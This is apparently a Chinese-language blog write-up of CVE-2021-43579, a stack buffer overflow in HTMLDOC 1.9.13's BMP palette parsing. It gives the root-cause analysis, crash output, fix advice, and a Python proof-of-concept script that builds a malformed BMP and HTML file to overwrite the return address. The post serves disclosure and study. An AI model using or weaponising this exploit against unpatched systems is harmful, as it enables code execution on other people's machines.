HTMLDOC 1.9.13 栈缓冲区溢出漏洞分析与利用

本文详细分析了HTMLDOC 1.9.13版本中存在的栈缓冲区溢出漏洞(CVE-2021-43579),通过精心构造的BMP文件可实现远程代码执行,包含完整的技术分析和Python利用代码。

HTMLDOC 1.9.13 - 栈缓冲区溢出漏洞分析

漏洞概述

HTMLDOC 1.9.13版本中的BMP图像解析器存在栈缓冲区溢出漏洞。该漏洞位于image_load_bmp函数中,攻击者可以通过特制的BMP文件触发缓冲区溢出,实现远程代码执行。

技术细节

漏洞位置

  • 漏洞函数:image_load_bmp
  • 受影响组件:BMP图像解析器
  • 漏洞类型:栈缓冲区溢出

漏洞分析

HTMLDOC的BMP读取器使用固定大小的栈缓冲区存储颜色调色板:

1
2
3
4
int colors_used;
uchar colormap[256][4]; // 1024字节栈缓冲区
colors_used = (int)read_dword(fp); // 读取biClrUsed字段
fread(colormap, (size_t)colors_used, 4, fp);

虽然v1.9.13修复了拒绝colors_used > 256的情况,但未对负值进行检查。当biClrUsed字段设置为0xffffffff(即-1)时:

  1. colors_used被赋值为-1
  2. 转换为size_t类型后变为SIZE_MAX
  3. fread尝试复制巨大数据量到1024字节的栈缓冲区

利用原理

载荷结构:

  • 1080个’A’字节:填满1024字节缓冲区并溢出56字节
  • 8个’B’字节:覆盖x86_64架构下的保存返回地址

崩溃示例:

1
2
 0   0x55555559dbb7 image_load_bmp(image_t*, _IO_FILE*, int, int)+2615
  1 0x4242424242424242 None

启用_FORTIFY_SOURCE=2时能检测到溢出:

1
*** buffer overflow detected ***: terminated

利用代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3
# Exploit Title: HTMLDOC 1.9.13 - Stack Buffer Overflow
# Google Dork: N/A
# Date: 2025-08-26
# Exploit Author: wulfgarpro
# Vendor Homepage: https://github.com/michaelrsweet/htmldoc
# Software Link: https://github.com/michaelrsweet/htmldoc/releases/tag/v1.9.13
# Version: <= 1.9.13
# Tested on: Linux x86_64
# CVE: CVE-2021-43579

# 14字节BITMAPFILEHEADER
BITMAPFILEHEADER = (
    b"\x42\x4d"  # bfType
    b"\x00\x00\x00\x00"  # bfSize
    b"\x00\x00"  # bfReserved1
    b"\x00\x00"  # bfReserved2
    b"\x00\x00\x00\x00"  # bfOffBits
)

# 40字节BITMAPINFOHEADER
BITMAPINFOHEADER = (
    b"\x00\x00\x00\x00"  # biSize
    b"\x01\x00\x00\x00"  # biWidth = 0x00000001 (1)
    b"\x01\x00\x00\x00"  # biHeight = 0x00000001 (1)
    b"\x00\x00"  # biPlanes
    b"\x00\x00"  # biBitCount
    b"\x00\x00\x00\x00"  # biCompression
    b"\x00\x00\x00\x00"  # biSizeImage
    b"\x00\x00\x00\x00"  # biXPelsPerMeter
    b"\x00\x00\x00\x00"  # biYPelsPerMeter
    b"\xff\xff\xff\xff"  # biClrUsed = 0xffffffff (-1)
    b"\x00\x00\x00\x00"  # biClrImportant
)

PAYLOAD = b"A" * 1080  # 循环模式:uaakvaak
PAYLOAD += b"B" * 8   # RIP覆盖

def generate_poc_bmp():
    with open("poc.bmp", "+wb") as poc_bmp:
        poc_bmp.write((BITMAPFILEHEADER + BITMAPINFOHEADER) + PAYLOAD)

def generate_poc_html():
    with open("poc.html", "+w") as poc_html:
        poc_html.write("<html><img src='./poc.bmp'/></html>")

if __name__ == "__main__":
    generate_poc_bmp()
    generate_poc_html()

使用方法

  1. 生成HTML和恶意BMP文件:python3 CVE-2021-43579.py
  2. 通过HTMLDOC触发:htmldoc --webpage -f out.pdf poc.html

影响版本

  • HTMLDOC <= 1.9.13

修复建议

升级到已修复的HTMLDOC版本,或对biClrUsed字段进行严格的边界检查,包括负值情况。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计